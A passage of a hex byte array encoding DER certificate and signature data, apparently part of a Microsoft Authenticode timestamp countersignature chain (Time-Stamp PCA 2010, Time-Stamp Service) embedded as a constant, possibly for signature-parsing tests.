0x6F, 0x73, 0x6F, 0x66, 0x74, - 0x20, 0x52, 0x6F, 0x6F, 0x74, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, - 0x69, 0x63, 0x61, 0x74, 0x65, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, - 0x69, 0x74, 0x79, 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, - 0x31, 0x30, 0x30, 0x37, 0x30, 0x31, 0x32, 0x31, 0x33, 0x36, 0x35, 0x35, - 0x5A, 0x17, 0x0D, 0x32, 0x35, 0x30, 0x37, 0x30, 0x31, 0x32, 0x31, 0x34, - 0x36, 0x35, 0x35, 0x5A, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, - 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, - 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, - 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, - 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, - 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, - 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, - 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, - 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, - 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x82, - 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, - 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, 0xA9, 0x1D, 0x0D, 0xBC, 0x77, - 0x11, 0x8A, 0x3A, 0x20, 0xEC, 0xFC, 0x13, 0x97, 0xF5, 0xFA, 0x7F, 0x69, - 0x94, 0x6B, 0x74, 0x54, 0x10, 0xD5, 0xA5, 0x0A, 0x00, 0x82, 0x85, 0xFB, - 0xED, 0x7C, 0x68, 0x4B, 0x2C, 0x5F, 0xC5, 0xC3, 0xE5, 0x61, 0xC2, 0x76, - 0xB7, 0x3E, 0x66, 0x2B, 0x5B, 0xF0, 0x15, 0x53, 0x27, 0x04, 0x31, 0x1F, - 0x41, 0x1B, 0x1A, 0x95, 0x1D, 0xCE, 0x09, 0x13, 0x8E, 0x7C, 0x61, 0x30, - 0x59, 0xB1, 0x30, 0x44, 0x0F, 0xF1, 0x60, 0x88, 0x84, 0x54, 0x43, 0x0C, - 0xD7, 0x4D, 0xB8, 0x38, 0x08, 0xB3, 0x42, 0xDD, 0x93, 0xAC, 0xD6, 0x73, - 0x30, 0x57, 0x26, 0x82, 0xA3, 0x45, 0x0D, 0xD0, 0xEA, 0xF5, 0x47, 0x81, - 0xCD, 0xBF, 0x24, 0x60, 0x32, 0x58, 0x60, 0x46, 0xF2, 0x58, 0x47, 0x86, - 0x32, 0x84, 0x1E, 0x74, 0x61, 0x67, 0x91, 0x5F, 0x81, 0x54, 0xB1, 0xCF, - 0x93, 0x4C, 0x92, 0xC1, 0xC4, 0xA6, 0x5D, 0xD1, 0x61, 0x13, 0x6E, 0x28, - 0xC6, 0x1A, 0xF9, 0x86, 0x80, 0xBB, 0xDF, 0x61, 0xFC, 0x46, 0xC1, 0x27, - 0x1D, 0x24, 0x67, 0x12, 0x72, 0x1A, 0x21, 0x8A, 0xAF, 0x4B, 0x64, 0x89, - 0x50, 0x62, 0xB1, 0x5D, 0xFD, 0x77, 0x1F, 0x3D, 0xF0, 0x57, 0x75, 0xAC, - 0xBD, 0x8A, 0x42, 0x4D, 0x40, 0x51, 0xD1, 0x0F, 0x9C, 0x06, 0x3E, 0x67, - 0x7F, 0xF5, 0x66, 0xC0, 0x03, 0x96, 0x44, 0x7E, 0xEF, 0xD0, 0x4B, 0xFD, - 0x6E, 0xE5, 0x9A, 0xCA, 0xB1, 0xA8, 0xF2, 0x7A, 0x2A, 0x0A, 0x31, 0xF0, - 0xDA, 0x4E, 0x06, 0x91, 0xB6, 0x88, 0x08, 0x35, 0xE8, 0x78, 0x1C, 0xB0, - 0xE9, 0x99, 0xCD, 0x3C, 0xE7, 0x2F, 0x44, 0xBA, 0xA7, 0xF4, 0xDC, 0x64, - 0xBD, 0xA4, 0x01, 0xC1, 0x20, 0x09, 0x93, 0x78, 0xCD, 0xFC, 0xBC, 0xC0, - 0xC9, 0x44, 0x5D, 0x5E, 0x16, 0x9C, 0x01, 0x05, 0x4F, 0x22, 0x4D, 0x02, - 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, 0xE6, 0x30, 0x82, 0x01, 0xE2, - 0x30, 0x10, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, - 0x01, 0x04, 0x03, 0x02, 0x01, 0x00, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, - 0x0E, 0x04, 0x16, 0x04, 0x14, 0xD5, 0x63, 0x3A, 0x5C, 0x8A, 0x31, 0x90, - 0xF3, 0x43, 0x7B, 0x7C, 0x46, 0x1B, 0xC5, 0x33, 0x68, 0x5A, 0x85, 0x6D, - 0x55, 0x30, 0x19, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, - 0x14, 0x02, 0x04, 0x0C, 0x1E, 0x0A, 0x00, 0x53, 0x00, 0x75, 0x00, 0x62, - 0x00, 0x43, 0x00, 0x41, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x04, - 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x0F, 0x06, 0x03, 0x55, 0x1D, 0x13, - 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, 0x30, 0x1F, - 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xD5, - 0xF6, 0x56, 0xCB, 0x8F, 0xE8, 0xA2, 0x5C, 0x62, 0x68, 0xD1, 0x3D, 0x94, - 0x90, 0x5B, 0xD7, 0xCE, 0x9A, 0x18, 0xC4, 0x30, 0x56, 0x06, 0x03, 0x55, - 0x1D, 0x1F, 0x04, 0x4F, 0x30, 0x4D, 0x30, 0x4B, 0xA0, 0x49, 0xA0, 0x47, - 0x86, 0x45, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, - 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, - 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, - 0x72, 0x6F, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, - 0x6F, 0x6F, 0x43, 0x65, 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, - 0x30, 0x2D, 0x30, 0x36, 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x6C, 0x30, - 0x5A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, - 0x4E, 0x30, 0x4C, 0x30, 0x4A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x30, 0x02, 0x86, 0x3E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, - 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, 0x69, 0x2F, 0x63, 0x65, - 0x72, 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x52, 0x6F, 0x6F, 0x43, 0x65, - 0x72, 0x41, 0x75, 0x74, 0x5F, 0x32, 0x30, 0x31, 0x30, 0x2D, 0x30, 0x36, - 0x2D, 0x32, 0x33, 0x2E, 0x63, 0x72, 0x74, 0x30, 0x81, 0xA0, 0x06, 0x03, - 0x55, 0x1D, 0x20, 0x01, 0x01, 0xFF, 0x04, 0x81, 0x95, 0x30, 0x81, 0x92, - 0x30, 0x81, 0x8F, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, - 0x2E, 0x03, 0x30, 0x81, 0x81, 0x30, 0x3D, 0x06, 0x08, 0x2B, 0x06, 0x01, - 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x31, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, 0x72, 0x6F, 0x73, - 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x50, 0x4B, 0x49, 0x2F, - 0x64, 0x6F, 0x63, 0x73, 0x2F, 0x43, 0x50, 0x53, 0x2F, 0x64, 0x65, 0x66, - 0x61, 0x75, 0x6C, 0x74, 0x2E, 0x68, 0x74, 0x6D, 0x30, 0x40, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x34, 0x1E, 0x32, - 0x20, 0x1D, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, - 0x00, 0x5F, 0x00, 0x50, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x63, - 0x00, 0x79, 0x00, 0x5F, 0x00, 0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x74, - 0x00, 0x65, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x2E, - 0x20, 0x1D, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, - 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, 0x00, 0x07, 0xE6, - 0x88, 0x51, 0x0D, 0xE2, 0xC6, 0xE0, 0x98, 0x3F, 0x81, 0x71, 0x03, 0x3D, - 0x9D, 0xA3, 0xA1, 0x21, 0x6F, 0xB3, 0xEB, 0xA6, 0xCC, 0xF5, 0x31, 0xBE, - 0xCF, 0x05, 0xE2, 0xA9, 0xFE, 0xFA, 0x57, 0x6D, 0x19, 0x30, 0xB3, 0xC2, - 0xC5, 0x66, 0xC9, 0x6A, 0xDF, 0xF5, 0xE7, 0xF0, 0x78, 0xBD, 0xC7, 0xA8, - 0x9E, 0x25, 0xE3, 0xF9, 0xBC, 0xED, 0x6B, 0x54, 0x57, 0x08, 0x2B, 0x51, - 0x82, 0x44, 0x12, 0xFB, 0xB9, 0x53, 0x8C, 0xCC, 0xF4, 0x60, 0x12, 0x8A, - 0x76, 0xCC, 0x40, 0x40, 0x41, 0x9B, 0xDC, 0x5C, 0x17, 0xFF, 0x5C, 0xF9, - 0x5E, 0x17, 0x35, 0x98, 0x24, 0x56, 0x4B, 0x74, 0xEF, 0x42, 0x10, 0xC8, - 0xAF, 0xBF, 0x7F, 0xC6, 0x7F, 0xF2, 0x37, 0x7D, 0x5A, 0x3F, 0x1C, 0xF2, - 0x99, 0x79, 0x4A, 0x91, 0x52, 0x00, 0xAF, 0x38, 0x0F, 0x17, 0xF5, 0x2F, - 0x79, 0x81, 0x65, 0xD9, 0xA9, 0xB5, 0x6B, 0xE4, 0xC7, 0xCE, 0xF6, 0xCA, - 0x7A, 0x00, 0x6F, 0x4B, 0x30, 0x44, 0x24, 0x22, 0x3C, 0xCF, 0xED, 0x03, - 0xA5, 0x96, 0x8F, 0x59, 0x29, 0xBC, 0xB6, 0xFD, 0x04, 0xE1, 0x70, 0x9F, - 0x32, 0x4A, 0x27, 0xFD, 0x55, 0xAF, 0x2F, 0xFE, 0xB6, 0xE5, 0x8E, 0x33, - 0xBB, 0x62, 0x5F, 0x9A, 0xDB, 0x57, 0x40, 0xE9, 0xF1, 0xCE, 0x99, 0x66, - 0x90, 0x8C, 0xFF, 0x6A, 0x62, 0x7F, 0xDD, 0xC5, 0x4A, 0x0B, 0x91, 0x26, - 0xE2, 0x39, 0xEC, 0x19, 0x4A, 0x71, 0x63, 0x9D, 0x7B, 0x21, 0x6D, 0xC3, - 0x9C, 0xA3, 0xA2, 0x3C, 0xFA, 0x7F, 0x7D, 0x96, 0x6A, 0x90, 0x78, 0xA6, - 0x6D, 0xD2, 0xE1, 0x9C, 0xF9, 0x1D, 0xFC, 0x38, 0xD8, 0x94, 0xF4, 0xC6, - 0xA5, 0x0A, 0x96, 0x86, 0xA4, 0xBD, 0x9E, 0x1A, 0xAE, 0x04, 0x42, 0x83, - 0xB8, 0xB5, 0x80, 0x9B, 0x22, 0x38, 0x20, 0xB5, 0x25, 0xE5, 0x64, 0xEC, - 0xF7, 0xF4, 0xBF, 0x7E, 0x63, 0x59, 0x25, 0x0F, 0x7A, 0x2E, 0x39, 0x57, - 0x76, 0xA2, 0x71, 0xAA, 0x06, 0x8A, 0x0F, 0x89, 0x16, 0xBA, 0x61, 0xA7, - 0x11, 0xCB, 0x9A, 0xD8, 0x0E, 0x47, 0x9A, 0x80, 0xC5, 0xD0, 0xCD, 0xA7, - 0xD0, 0xEF, 0x7D, 0x83, 0xF0, 0xE1, 0x3B, 0x71, 0x09, 0xDF, 0x5D, 0x74, - 0x98, 0x22, 0x08, 0x61, 0xDA, 0xB0, 0x50, 0x1E, 0x6F, 0xBD, 0xF1, 0xE1, - 0x00, 0xDF, 0xE7, 0x31, 0x07, 0xA4, 0x93, 0x3A, 0xF7, 0x65, 0x47, 0x78, - 0xE8, 0xF8, 0xA8, 0x48, 0xAB, 0xF7, 0xDE, 0x72, 0x7E, 0x61, 0x6B, 0x6F, - 0x77, 0xA9, 0x81, 0xCB, 0xA7, 0x09, 0xAC, 0x39, 0xBB, 0xEC, 0xC6, 0xCB, - 0xD8, 0x82, 0xB4, 0x72, 0xCD, 0x1D, 0xF4, 0xB8, 0x85, 0x01, 0x1E, 0x80, - 0xFB, 0x1B, 0x89, 0x2A, 0x54, 0x39, 0xB2, 0x5B, 0xDA, 0xC8, 0x0D, 0x55, - 0x99, 0x7A, 0x87, 0x73, 0x3B, 0x08, 0xE6, 0x98, 0x2D, 0xEA, 0x8D, 0xE0, - 0x33, 0x2E, 0x12, 0x29, 0xF5, 0xC0, 0x2F, 0x54, 0x27, 0x21, 0xF7, 0xC8, - 0xAC, 0x4E, 0xDA, 0x28, 0xB8, 0xB1, 0xA9, 0xDB, 0x96, 0xB2, 0xA7, 0x42, - 0xA2, 0xC9, 0xCF, 0x19, 0x41, 0x4D, 0xE0, 0x86, 0xF9, 0x2A, 0x9A, 0xA3, - 0x11, 0x66, 0x30, 0xD3, 0xBB, 0x74, 0x32, 0x4B, 0xDF, 0x63, 0x7B, 0xF5, - 0x99, 0x8A, 0x2F, 0x1B, 0xC7, 0x21, 0xAF, 0x59, 0xB5, 0xAE, 0xDC, 0x44, - 0x3C, 0x97, 0x50, 0x71, 0xD7, 0xA1, 0xD2, 0xC5, 0x55, 0xE3, 0x69, 0xDE, - 0x57, 0xC1, 0xD1, 0xDE, 0x30, 0xC0, 0xFD, 0xCC, 0xE6, 0x4D, 0xFB, 0x0D, - 0xBF, 0x5D, 0x4F, 0xE9, 0x9D, 0x1E, 0x19, 0x38, 0x2F, 0xBC, 0xCF, 0x58, - 0x05, 0x2E, 0xEF, 0x0D, 0xA0, 0x50, 0x35, 0xDA, 0xEF, 0x09, 0x27, 0x1C, - 0xD5, 0xB3, 0x7E, 0x35, 0x1E, 0x08, 0xBA, 0xDA, 0x36, 0xDB, 0xD3, 0x5F, - 0x8F, 0xDE, 0x74, 0x88, 0x49, 0x12, 0xA1, 0x82, 0x03, 0xAD, 0x30, 0x82, - 0x02, 0x95, 0x02, 0x01, 0x01, 0x30, 0x81, 0xFE, 0xA1, 0x81, 0xD4, 0xA4, - 0x81, 0xD1, 0x30, 0x81, 0xCE, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, - 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, - 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, - 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, - 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, - 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, - 0x04, 0x0B, 0x13, 0x20, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x20, 0x4F, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, - 0x20, 0x50, 0x75, 0x65, 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, - 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x1D, 0x54, - 0x68, 0x61, 0x6C, 0x65, 0x73, 0x20, 0x54, 0x53, 0x53, 0x20, 0x45, 0x53, - 0x4E, 0x3A, 0x33, 0x31, 0x43, 0x35, 0x2D, 0x33, 0x30, 0x42, 0x41, 0x2D, - 0x37, 0x43, 0x39, 0x31, 0x31, 0x25, 0x30, 0x23, 0x06, 0x03, 0x55, 0x04, - 0x03, 0x13, 0x1C, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, - 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x20, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0xA2, 0x25, 0x0A, 0x01, 0x01, - 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x03, - 0x15, 0x00, 0x02, 0xA3, 0xC8, 0x4F, 0x56, 0xF6, 0x90, 0xE8, 0xB5, 0x63, - 0x20, 0x76, 0xE7, 0x31, 0xE9, 0x6B, 0x73, 0xE7, 0x9C, 0x0C, 0xA0, 0x81, - 0xDE, 0x30, 0x81, 0xDB, 0xA4, 0x81, 0xD8, 0x30, 0x81, 0xD5, 0x31, 0x0B, - 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, - 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, - 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, - 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, - 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, - 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x29, - 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x20, 0x4D, 0x69, 0x63, - 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, 0x65, 0x72, 0x74, 0x6F, - 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x27, 0x30, 0x25, 0x06, 0x03, 0x55, - 0x04, 0x0B, 0x13, 0x1E, 0x6E, 0x43, 0x69, 0x70, 0x68, 0x65, 0x72, 0x20, - 0x4E, 0x54, 0x53, 0x20, 0x45, 0x53, 0x4E, 0x3A, 0x34, 0x44, 0x45, 0x39, - 0x2D, 0x30, 0x43, 0x35, 0x45, 0x2D, 0x33, 0x45, 0x30, 0x39, 0x31, 0x2B, - 0x30, 0x29, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x22, 0x4D, 0x69, 0x63, - 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, - 0x53, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x20, 0x4D, 0x61, 0x73, 0x74, 0x65, - 0x72, 0x20, 0x43, 0x6C, 0x6F, 0x63, 0x6B, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x02, 0x05, - 0x00, 0xE1, 0x60, 0xED, 0x42, 0x30, 0x22, 0x18, 0x0F, 0x32, 0x30, 0x31, - 0x39, 0x31, 0x30, 0x32, 0x38, 0x31, 0x32, 0x32, 0x39, 0x35, 0x34, 0x5A, - 0x18, 0x0F, 0x32, 0x30, 0x31, 0x39, 0x31, 0x30, 0x32, 0x39, 0x31, 0x32, - 0x32, 0x39, 0x35, 0x34, 0x5A, 0x30, 0x74, 0x30, 0x3A, 0x06, 0x0A, 0x2B, - 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x04, 0x01, 0x31, 0x2C, 0x30, - 0x2A, 0x30, 0x0A, 0x02, 0x05, 0x00, 0xE1, 0x60, 0xED, 0x42, 0x02, 0x01, - 0x00, 0x30, 0x07, 0x02, 0x01, 0x00, 0x02, 0x02, 0x18, 0x32, 0x30, 0x07, - 0x02, 0x01, 0x00, 0x02, 0x02, 0x1A, 0xC9, 0x30, 0x0A, 0x02, 0x05, 0x00, - 0xE1, 0x62, 0x3E, 0xC2, 0x02, 0x01, 0x00, 0x30, 0x36, 0x06, 0x0A, 0x2B, - 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, 0x0A, 0x04, 0x02, 0x31, 0x28, 0x30, - 0x26, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x84, 0x59, - 0x0A, 0x03, 0x01, 0xA0, 0x0A, 0x30, 0x08, 0x02, 0x01, 0x00, 0x02, 0x03, - 0x16, 0xE3, 0x60, 0xA1, 0x0A, 0x30, 0x08, 0x02, 0x01, 0x00, 0x02, 0x03, - 0x07, 0xA1, 0x20, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, - 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0xA8, - 0x12, 0x04, 0xEF, 0x51, 0x49, 0xBA, 0x03, 0xEA, 0x99, 0x2D, 0xAB, 0x80, - 0xC9, 0xB7, 0x04, 0xDF, 0x3A, 0xEE, 0xB3, 0xDB, 0x17, 0x4B, 0xBC, 0x85, - 0x4B, 0x45, 0x53, 0xAB, 0x7E, 0x56, 0x6E, 0x62, 0xD8, 0xD9, 0xD4, 0x35, - 0x2D, 0x17, 0x25, 0x58, 0x1D, 0xE8, 0xE6, 0xB0, 0xC8, 0xF8, 0xC5, 0xEA, - 0x91, 0xC1, 0x0D, 0x70, 0xAF, 0xE5, 0x87, 0xEE, 0x9A, 0x40, 0x48, 0xFC, - 0x55, 0x3F, 0x74, 0x8E, 0x91, 0xBE, 0x4B, 0x46, 0x97, 0xD1, 0x7B, 0xE4, - 0x98, 0xE3, 0xBD, 0x79, 0x13, 0x4F, 0x74, 0xE0, 0x08, 0x37, 0xC2, 0x31, - 0x29, 0x2E, 0x20, 0x92, 0x58, 0x3E, 0x82, 0xFC, 0x60, 0x17, 0xC1, 0x39, - 0xEB, 0xBE, 0x6E, 0xFE, 0xF2, 0x42, 0x14, 0xFB, 0x07, 0x3C, 0x6B, 0x14, - 0x53, 0x85, 0x97, 0x9E, 0x6A, 0xC6, 0x31, 0x9A, 0x53, 0x5C, 0x09, 0x4F, - 0xA6, 0x47, 0x78, 0x5C, 0x02, 0xCE, 0x11, 0x20, 0xB8, 0xC6, 0xAF, 0x17, - 0xFF, 0x6B, 0x10, 0xEB, 0x00, 0xFA, 0x94, 0x93, 0xC6, 0x5C, 0x1C, 0xE0, - 0xF9, 0x81, 0xBB, 0x12, 0xD5, 0x3C, 0xA7, 0xD4, 0x93, 0xE7, 0x20, 0x3E, - 0x0E, 0xAF, 0x20, 0x2F, 0xDD, 0x37, 0x6D, 0x68, 0x17, 0xCF, 0x0E, 0x4A, - 0x99, 0xAF, 0xFE, 0x59, 0x9E, 0xD7, 0xA5, 0x72, 0x07, 0xF0, 0xC1, 0xC9, - 0xEB, 0x1A, 0xFD, 0x88, 0x22, 0xA7, 0x1A, 0x80, 0x15, 0x2C, 0x08, 0x38, - 0xE7, 0xB9, 0xD3, 0x77, 0xF4, 0x9A, 0xA5, 0x28, 0x24, 0x08, 0xD0, 0x40, - 0xD3, 0x0A, 0x61, 0xBF, 0x88, 0xF5, 0xAA, 0x7F, 0x9D, 0xBE, 0x76, 0xDE, - 0x66, 0x9B, 0x2D, 0x68, 0x97, 0x66, 0x97, 0x61, 0xD0, 0x19, 0x93, 0x37, - 0x8C, 0x3A, 0xA1, 0x39, 0x1C, 0x2A, 0xE8, 0xF1, 0x89, 0x0F, 0xDC, 0x42, - 0x5A, 0x6E, 0x88, 0x88, 0x09, 0x3D, 0x88, 0xC7, 0x61, 0x72, 0x2F, 0xEB, - 0x5C, 0xA7, 0x75, 0x31, 0x82, 0x02, 0xF5, 0x30, 0x82, 0x02, 0xF1, 0x02, - 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, 0x7C, 0x31, 0x0B, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, - 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, - 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, - 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, - 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, - 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, - 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x26, 0x30, 0x24, 0x06, - 0x03, 0x55, 0x04, 0x03, 0x13, 0x1D, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, - 0x6F, 0x66, 0x74, 0x20, 0x54, 0x69, 0x6D, 0x65, 0x2D, 0x53, 0x74, 0x61, - 0x6D, 0x70, 0x20, 0x50, 0x43, 0x41, 0x20, 0x32, 0x30, 0x31, 0x30, 0x02, - 0x13, 0x33, 0x00, 0x00, 0x00, 0xFE, 0x01, 0xF0, 0xB5, 0x1E, 0xFF, 0xE9, - 0xF9, 0xAD, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x30, 0x0D, 0x06, 0x09, - 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0xA0, - 0x82, 0x01, 0x32, 0x30, 0x1A, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, - 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0D, 0x06, 0x0B, 0x2A, 0x86, 0x48, 0x86, - 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x01, 0x04, 0x30, 0x2F, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x22, 0x04, 0x20, - 0xAF, 0xA7, 0xC0, 0x64, 0x97, 0x71, 0xAE, 0x59, 0x6D, 0xA7, 0x72, 0x4A, - 0xA0, 0x71, 0xBE, 0x98, 0x02, 0xA6, 0xC6, 0x9E, 0x20, 0x89, 0xDB, 0xF9, - 0xDA, 0x42, 0x84, 0x5A, 0xA1, 0x5A, 0x36, 0x09, 0x30, 0x81, 0xE2, 0x06, - 0x0B, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x10, 0x02, 0x0C, - 0x31, 0x81, 0xD2, 0x30, 0x81, 0xCF, 0x30, 0x81, 0xCC, 0x30, 0x81, 0xB1, - 0x04, 0x14, 0x02, 0xA3, 